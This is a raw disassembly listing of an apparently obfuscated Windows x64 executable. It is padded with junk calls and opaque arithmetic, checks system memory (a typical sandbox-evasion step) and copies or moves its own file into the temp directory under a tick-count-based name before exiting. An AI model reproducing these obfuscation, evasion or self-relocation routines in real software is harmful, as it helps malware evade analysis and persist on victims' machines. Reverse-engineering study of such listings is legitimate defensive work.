mov eax, dword [rbp + 0x2fc]
sub rsp, 0x20
mov ecx, 2
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x304]
mov eax, dword [rbp + 0x304]
mov eax, dword [rbp + 0x2fc]
sub rsp, 0x20
movabs rcx, 0x6ec687dbda5aee7a
mov edx, esi
call fcn.140006b10
add rsp, 0x20
movzx r15d, byte [rbp + 0x302]
mov edi, dword [rbp + 0x304]
add edi, r15d
mov eax, dword [rbp + 0x304]
xor eax, r15d
sub edi, eax
and r15d, dword [rbp + 0x304]
sub rsp, 0x20
mov ecx, 1
mov edx, 0x75
mov r8d, 0x1e
call fcn.140006b10
add rsp, 0x20
mov ecx, eax
shl r15d, cl
xor r15d, edi
sub rsp, 0x20
movabs rcx, 0x9139782425a511c6
mov edx, esi
call fcn.140006b10
mov edx, 0xf2
mov r8d, 0x77
xor ecx, ecx
call fcn.140006b10
mov ecx, 0x40
mov edx, esi
mov r8d, esi
call fcn.140006b10
add rsp, 0x20
mov dword [rbp + 0x1a0], eax
sub rsp, 0x20
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
add rsp, 0x20
mov rax, qword [rbp + 0x1a8]
mov qword [rbp + 0x2d0], rax
movzx ebx, byte [rbp + 0x2f9]
sub rsp, 0x20
mov ecx, 0xfb
mov edx, 0x76
mov r8d, esi
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
or edi, ebx
sub rsp, 0x20
mov ecx, 0xff
mov edx, esi
mov r8d, esi
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, edi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x7f33
mov edx, esi
call fcn.140006b10
add rsp, 0x20
mov r14, rax
imul r14d, ebx
sub rsp, 0x20
mov ecx, 0xcb
mov edx, 0xfe
mov r8d, esi
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
or ebx, r15d
sub rsp, 0x20
mov ecx, 0xff
mov edx, esi
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
and edi, ebx
imul edi, edi
sub rsp, 0x20
mov ecx, 0x1d95
mov edx, esi
call fcn.140006b10
add rsp, 0x20
imul eax, edi
xor ebx, ebx
cmp r14d, eax
sete bl
sub rsp, 0x20
movabs rcx, 0xb86579273643557
mov edx, 0xe9
mov r8d, esi
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
sub rdi, rbx
sub rsp, 0x20
mov ecx, 0x5b
mov edx, 0xd34fc3
call fcn.140006b10
mov ecx, 0xff
mov edx, esi
call fcn.140006b10
mov ecx, 0x5d6d
mov edx, 0xbfe61b
mov r8d, 0xf4
call fcn.140006b10
mov ecx, 0x57
mov edx, 0x3b7b67
mov r8d, esi
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x2fc]
sub rsp, 0x20
mov ecx, 0xff
mov r9d, 0xb
mov edx, esi
mov r8d, esi
call fcn.140006b10
mov ecx, 0x1d7d
call fcn.140006b10
movabs rcx, 0xb89a86df3643557
mov edx, 0x8a
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
xor rbx, rdi
and rbx, qword [rbp + 0x2d0]
movzx eax, byte [rbp + 0x302]
movzx eax, byte [rbp + 0x303]
sub rsp, 0x20
mov ecx, 0x52
call fcn.140006b10
mov ecx, 0xff
mov edx, esi
call fcn.140006b10
mov ecx, 0x39dd
call fcn.140006b10
mov ecx, 0x1e
mov edx, 0xef
mov r8d, 6
mov r9d, esi
call fcn.140006b10
mov ecx, 0xff
mov r9d, 0xa73f1e
mov edx, esi
mov r8d, esi
call fcn.140006b10
mov ecx, 0x11b
mov edx, 0x85
call fcn.140006b10
xor ecx, ecx
mov edx, esi
call fcn.140006b10
add rsp, 0x20
cmp rbx, rax
je 0x1400127ff
mov rsi, qword [rbp + 0x2d0]
movzx eax, byte [rbp + 0x303]
sub rsp, 0x20
mov ecx, 1
mov edx, esi
mov r8d, esi
call fcn.140006b10
movabs rcx, 0x8c5a2b83ff97e27d
mov edx, esi
call fcn.140006b10
mov edx, 0x19
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
movzx eax, byte [rbp + 0x303]
sub rsp, 0x20
mov ecx, 0x88
mov edx, esi
call fcn.140006b10
mov ecx, 0xff
mov edx, esi
call fcn.140006b10
mov ecx, 0x8861
mov edx, esi
call fcn.140006b10
mov ecx, 0x8f
mov edx, 0x43
mov r8d, 0x99
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x304]
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0x8f
call fcn.140006b10
mov ecx, 0x1529
mov edx, esi
call fcn.140006b10
movabs rcx, 0xf6b83634aa26d500
mov edx, esi
call fcn.140006b10
xor ecx, ecx
mov edx, esi
call fcn.140006b10
add rsp, 0x20
xorps xmm0, xmm0
movaps xmmword [rbp + 0x1a0], xmm0
movaps xmmword [rbp + 0x1b0], xmm0
movaps xmmword [rbp + 0x1c0], xmm0
movaps xmmword [rbp + 0x1d0], xmm0
movaps xmmword [rbp + 0x1e0], xmm0
movaps xmmword [rbp + 0x1f0], xmm0
movaps xmmword [rbp + 0x200], xmm0
movaps xmmword [rbp + 0x210], xmm0
movaps xmmword [rbp + 0x220], xmm0
movaps xmmword [rbp + 0x230], xmm0
movaps xmmword [rbp + 0x240], xmm0
movaps xmmword [rbp + 0x250], xmm0
movaps xmmword [rbp + 0x260], xmm0
movaps xmmword [rbp + 0x270], xmm0
movaps xmmword [rbp + 0x280], xmm0
movaps xmmword [rbp + 0x290], xmm0
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add rsp, 0x20
mov rbx, rax
movzx eax, byte [rbp + 0x302]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x5d
mov r8d, 0x65
mov r9d, esi
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, 0x85
mov r8d, esi
call fcn.140006b10
mov ecx, 0xffffffff
mov r8d, 0x13c0c1
mov edx, esi
call fcn.140006b10
mov ecx, 2
mov edx, esi
call fcn.140006b10
movabs rcx, 0xd783986e25c44295
mov r8d, 5
mov edx, esi
call fcn.140006b10
mov edx, 0xc
xor ecx, ecx
call fcn.140006b10
mov ecx, 0x88
mov edx, esi
call fcn.140006b10
mov ecx, 0xff
mov edx, esi
mov r8d, esi
mov r9d, esi
call fcn.140006b10
mov ecx, 0xb6db
mov edx, esi
call fcn.140006b10
mov ecx, 0xf4
mov edx, 0x5c
call fcn.140006b10
mov ecx, 0xff
mov edx, esi
call fcn.140006b10
mov ecx, 0x831b
mov edx, esi
mov r8d, esi
call fcn.140006b10
movabs rcx, 0x346b59271178bd00
mov edx, esi
call fcn.140006b10
xor ecx, ecx
mov edx, esi
call fcn.140006b10
mov ecx, 0x100
mov edx, esi
call fcn.140006b10
lea r14, [rbp + 0x1a0]
mov rcx, rbx
mov rdx, r14
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 4
mov edx, 0xf4
call fcn.140006b10
mov ecx, 0xff
call fcn.140006b10
mov ecx, 0xb8d5
mov edx, 0xc4
call fcn.140006b10
mov ecx, 0x8b
call fcn.140006b10
mov ecx, 0xff
mov edx, esi
call fcn.140006b10
mov ecx, 0x8af5
mov r8d, 0x75
mov edx, esi
call fcn.140006b10
movabs rcx, 0x7398b3db23fa6aaf
mov edx, esi
mov r8d, esi
call fcn.140006b10
xor ecx, ecx
mov edx, esi
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x304]
mov eax, dword [rbp + 0x2fc]
mov eax, dword [rbp + 0x304]
mov eax, dword [rbp + 0x2fc]
mov eax, dword [rbp + 0x304]
mov eax, dword [rbp + 0x2fc]
sub rsp, 0x20
mov ecx, 1
mov edx, esi
call fcn.140006b10
movabs rcx, 0x8c674c24dc059651
mov edx, 0x65
call fcn.140006b10
mov edx, 0x4f
xor ecx, ecx
call fcn.140006b10
mov ecx, 0x100
mov edx, esi
call fcn.140006b10
lea rdi, [rbp - 0x80]
mov ecx, eax
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
add rsp, 0x20
mov ecx, eax
sub rsp, 0x20
mov edx, 0x44
mov r8d, 0xc9
mov r9d, esi
call fcn.140006b10
lea rbx, [rbp + 0x80]
lea rdx, [rbp + 0x180]
mov rcx, rbx
mov r8, rdi
mov r9d, eax
call qword [sym.imp.USER32.dll_wsprintfA]
xor ecx, ecx
call fcn.140006b10
mov rcx, r14
mov rdx, rbx
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
xor ecx, ecx
mov edx, esi
mov r8d, esi
call fcn.140006b10
mov rcx, rbx
mov rdx, r14
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, 0xffffffff
mov edx, 0xed
call fcn.140006b10
mov ecx, 0xfffffffd
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x8f
mov r8d, 0x5f
mov r9d, esi
call fcn.140006b10
mov ecx, 2
call fcn.140006b10
movabs rcx, 0xb7ac1663e780a161
mov edx, 0x8eb661
mov r8d, 0x77
call fcn.140006b10
xor ecx, ecx
mov edx, esi
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, esi
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x304]
mov eax, dword [rbp + 0x304]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x99
mov r8d, esi
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, esi
call fcn.140006b10
mov ecx, 0xffffffff
call fcn.140006b10
mov ecx, 2
mov edx, esi
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x304]
mov eax, dword [rbp + 0x304]
sub rsp, 0x20
movabs rcx, 0x90805a1b4bf0a840
mov edx, 0xed
mov r8d, esi
call fcn.140006b10
mov edx, 0x41c9fe
xor ecx, ecx
mov r8d, esi
call fcn.140006b10
add rsp, 0x20
movaps xmm0, xmmword [rbp + 0x80]
movaps xmm1, xmmword [rbp + 0x90]
movaps xmm2, xmmword [rbp + 0xa0]
movaps xmm3, xmmword [rbp + 0xb0]
movups xmmword [0x14001514c], xmm0
movups xmmword [0x14001515c], xmm1
movups xmmword [0x14001516c], xmm2
movups xmmword [0x14001517c], xmm3
mov rcx, qword [r12]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
mov rax, qword [rbp + 0x2e0]
mov rcx, qword [rax]
sub rsp, 0x20
call fcn.140008190
jmp 0x1400127fb
mov rcx, qword [r12]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
sub rsp, 0x20
mov edx, 0x2d
mov r8d, 0x7f
xor ecx, ecx
call fcn.140006b10
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_ExitProcess]